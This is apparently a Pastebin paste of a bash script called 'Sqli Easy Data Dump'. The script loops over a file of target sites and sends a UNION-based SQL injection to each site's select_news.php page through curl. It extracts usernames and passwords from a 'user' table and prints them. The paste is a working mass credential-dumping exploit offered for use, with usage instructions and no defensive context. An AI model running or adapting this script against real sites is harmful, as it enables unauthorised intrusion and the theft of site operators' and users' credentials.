Advertisement
Guest User

Untitled

a guest
Oct 2nd, 2018
184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.53 KB | None | 0 0
  1. #!/bin/bash
  2. clear
  3. filename=$1
  4. filelines=`cat $filename`
  5. echo "====================="
  6. echo " Sqli Easy Data Dump "
  7. echo "====================="
  8. echo "Use $0 targetfile.txt"
  9. echo "if you want to save as text file;"
  10. echo "Use $0 targetfile.txt >> savefile.txt"
  11. echo ""
  12. for line in $filelines ; do
  13. echo "Site" $line
  14.  
  15. echo "================"
  16. rm -rf user.txt
  17. curl -s "$line/select_news.php?news_id=1%27%20and%20false%20union%20select%201,2,3,concat(%27%3Cdiv%20id=dumpusername%3E%27,user_name,%27%3C/div%3E%3Cdiv%20id=dumppassword%3E%27,user_pass,%27%3C/div%3E%27),5,6,7,8,9%20from%20user%20limit%200,1--%20-" | nokogiri -e 'puts $_.css('\''div#dumpusername'\'').text' >> user.txt
  18. tav=`tac user.txt | grep -m 1 '.'`
  19.   if [ ${#tav} -gt 1 ]
  20.   then
  21.     echo -n "Username : "
  22.     curl -s "$line/select_news.php?news_id=1%27%20and%20false%20union%20select%201,2,3,concat(%27%3Cdiv%20id=dumpusername%3E%27,user_name,%27%3C/div%3E%3Cdiv%20id=dumppassword%3E%27,user_pass,%27%3C/div%3E%27),5,6,7,8,9%20from%20user%20limit%200,1--%20-" | nokogiri -e 'puts $_.css('\''div#dumpusername'\'').text'
  23.     echo -n "Password : "
  24.  
  25.     curl -s "$line/select_news.php?news_id=1%27%20and%20false%20union%20select%201,2,3,concat(%27%3Cdiv%20id=dumpusername%3E%27,user_name,%27%3C/div%3E%3Cdiv%20id=dumppassword%3E%27,user_pass,%27%3C/div%3E%27),5,6,7,8,9%20from%20user%20limit%200,1--%20-" | nokogiri -e 'puts $_.css('\''div#dumppassword'\'').text'
  26.     
  27.     
  28.   else
  29.   echo "Can't dump"
  30.   fi
  31.   echo "================"
  32.   echo ""
  33. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement